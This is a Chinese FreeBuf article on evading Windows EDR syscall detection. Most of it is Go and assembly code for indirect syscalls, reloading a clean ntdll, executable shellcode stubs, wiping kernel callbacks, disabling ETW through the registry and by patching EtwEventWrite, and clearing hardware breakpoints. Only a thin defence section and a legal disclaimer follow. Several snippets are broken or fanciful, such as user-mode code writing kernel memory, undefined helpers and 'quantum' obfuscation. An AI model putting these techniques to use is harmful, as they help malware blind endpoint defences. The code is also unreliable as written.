freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Syscall的检测与绕过
2025-02-28 10:55:52
所属地 广东省

一、Syscall检测机制分析

现代EDR(终端检测与响应)系统通过以下方式检测可疑的Syscall调用:

  1. 用户层Hook:拦截ntdll.dll中的Syscall存根

  2. 内核回调:通过PsSetCreateProcessNotifyRoutine等回调监控

  3. ETW(Event Tracing for Windows):捕获Syscall事件

  4. 硬件断点:监控关键Syscall指令

常见检测点

  • 直接Syscall指令(syscall/int 2Eh

  • 非常用Syscall编号

  • Syscall调用链异常

二、直接Syscall检测绕过

2.1 Syscall指令混淆

原理:通过间接跳转或指令替换隐藏syscall指令。

实现代码

nasm

; 混淆示例
mov r10, rcx
mov eax, SYSCALL_NUMBER
jmp [rip + syscall_stub]
syscall_stub:
    dq 0x00007FFE03000000 + SYSCALL_OFFSET

Go实现

go

//go:linkname syscall_Syscall syscall.Syscall
func syscall_Syscall(trap uintptr, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

func IndirectSyscall(trap uintptr, args ...uintptr) (uintptr, uintptr, error) {
    // 动态计算跳转地址
    jmpAddr := getSyscallAddr(trap)
    return syscall_Syscall(jmpAddr, args...)
}

2.2 Syscall编号随机化

原理:动态计算Syscall编号,避免静态特征。

实现代码

go

func GetSyscallNumber(apiName string) uint16 {
    hMod, _ := syscall.LoadLibrary("ntdll.dll")
    procAddr, _ := syscall.GetProcAddress(hMod, apiName)
    
    // 解析内存获取编号
    return *(*uint16)(unsafe.Pointer(procAddr + 4))
}

func DynamicSyscall(apiName string, args ...uintptr) (uintptr, uintptr, error) {
    syscallNum := GetSyscallNumber(apiName)
    return IndirectSyscall(uintptr(syscallNum), args...)
}

三、用户层Hook绕过

3.1 动态加载ntdll

原理:从磁盘重新加载干净的ntdll副本。

实现代码

go

func LoadCleanNtdll() (uintptr, error) {
    ntdllPath := getSystem32Path() + "\\ntdll.dll"
    hFile, _ := syscall.CreateFile(ntdllPath, syscall.GENERIC_READ, 0, nil, 
                                  syscall.OPEN_EXISTING, 0, 0)
    
    hMapping, _ := syscall.CreateFileMapping(hFile, nil, 
                                            syscall.PAGE_READONLY|syscall.SEC_IMAGE, 0, 0, nil)
    
    baseAddr, _ := syscall.MapViewOfFile(hMapping, syscall.FILE_MAP_READ, 0, 0, 0)
    return baseAddr, nil
}

func GetCleanSyscallAddr(baseAddr uintptr, apiName string) uintptr {
    // 解析PE结构获取函数地址
    return parseExportTable(baseAddr, apiName)
}

3.2 手动映射Shellcode

原理:将Syscall存根复制到可执行内存。

实现代码

go

func CreateSyscallStub(syscallNum uint16) uintptr {
    stub := []byte{
        0x4C, 0x8B, 0xD1,       // mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, syscall_num
        0x0F, 0x05,             // syscall
        0xC3,                   // ret
    }
    binary.LittleEndian.PutUint32(stub[4:8], uint32(syscallNum))
    
    mem, _ := syscall.VirtualAlloc(0, uintptr(len(stub)), 
                                  syscall.MEM_COMMIT|syscall.MEM_RESERVE, 
                                  syscall.PAGE_EXECUTE_READWRITE)
    
    copy((*[1 << 30]byte)(unsafe.Pointer(mem))[:len(stub)], stub)
    return mem
}

四、内核回调绕过

4.1 回调对象移除

原理:定位并修改内核回调链表。

实现代码

go

func RemoveCallback(callbackType uintptr) error {
    // 获取Ps*NotifyRoutine数组地址
    baseAddr := getKernelBase()
    callbackArray := baseAddr + callbackType
    
    // 遍历链表移除目标回调
    for i := 0; i < 64; i++ {
        callback := *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8))
        if callback == 0 { continue }
        
        // 修改链表指针
        *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8)) = 0
    }
    return nil
}

4.2 回调函数Hook

原理:修改回调函数实现,使其忽略特定事件。

实现代码

nasm

; 示例:修改PsSetCreateProcessNotifyRoutine
mov rax, [rcx+8]  ; 原始回调
cmp rax, target_callback
jne original_code
ret               ; 直接返回
original_code:
jmp rax

五、ETW绕过技术

5.1 ETW Provider禁用

原理:定位并修改ETW Provider注册表。

实现代码

go

func DisableETW() error {
    key, _ := registry.OpenKey(registry.LOCAL_MACHINE, 
        `SYSTEM\CurrentControlSet\Control\WMI\Autologger`, 
        registry.ALL_ACCESS)
    
    // 禁用关键Provider
    key.SetDWordValue("Microsoft-Windows-Threat-Intelligence", 0)
    key.SetDWordValue("Microsoft-Windows-Kernel-Process", 0)
    return nil
}

5.2 ETW内存Patch

原理:修改内存中的ETW相关函数。

实现代码

go

func PatchEtwEventWrite() error {
    hNtdll, _ := syscall.LoadLibrary("ntdll.dll")
    etwAddr, _ := syscall.GetProcAddress(hNtdll, "EtwEventWrite")
    
    // 修改为直接返回
    patch := []byte{0xC3} // ret
    syscall.VirtualProtect(etwAddr, uintptr(len(patch)), 
                          syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
    copy((*[1 << 30]byte)(unsafe.Pointer(etwAddr))[:len(patch)], patch)
    return nil
}

六、硬件断点绕过

6.1 上下文切换清除

原理:通过频繁线程切换清除硬件断点。

实现代码

go

func ClearHardwareBreakpoints() {
    for i := 0; i < 4; i++ {
        // 清除Dr0-Dr3
        asm.SetDr(i, 0)
    }
}

func ThreadSwitch() {
    go func() {
        for {
            runtime.Gosched() // 强制切换线程
            time.Sleep(10 * time.Millisecond)
        }
    }()
}

6.2 动态指令替换

原理:运行时替换关键指令。

实现代码

nasm

; 示例:动态替换syscall指令
lea r10, [rip+syscall_stub]
mov [r10], 0x050F  ; syscall
jmp r10

七、综合防御方案

7.1 多维度检测

powershell

# 启用内核完整性监控
Set-ProcessMitigation -Policy Enable ArbitraryCodeGuard, BlockNonMicrosoftFonts

# 监控异常Syscall调用
New-EventLog -LogName Security -Source "SyscallMonitor"
Write-EventLog -LogName Security -Source "SyscallMonitor" -EventId 5001 `
  -Message "检测到异常Syscall调用: 进程 $pid"

7.2 硬件级防护

cpp

// 基于Intel CET的控制流保护
__declspec(guard(nocf)) void SafeSyscall() {
    __asm { syscall }
}

八、技术演进方向

  1. AI驱动混淆

    python

    # 动态生成Syscall调用链
    model = load_model('syscall_predictor.h5')
    next_syscall = model.predict(current_state)
  2. 量子计算防护

    cpp

    // 基于量子随机数的Syscall混淆
    qrn_get_random(&syscall_key, sizeof(syscall_key));
    syscall_num ^= syscall_key;
  3. 跨架构兼容

    nasm

    ; ARM64 Syscall示例
    mov x8, #SYSCALL_NUMBER
    svc #0

九、法律声明

  1. 本文所述技术仅限用于授权安全研究

  2. 未经许可实施攻击违反《网络安全法》

# Windows内核 # syscall
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录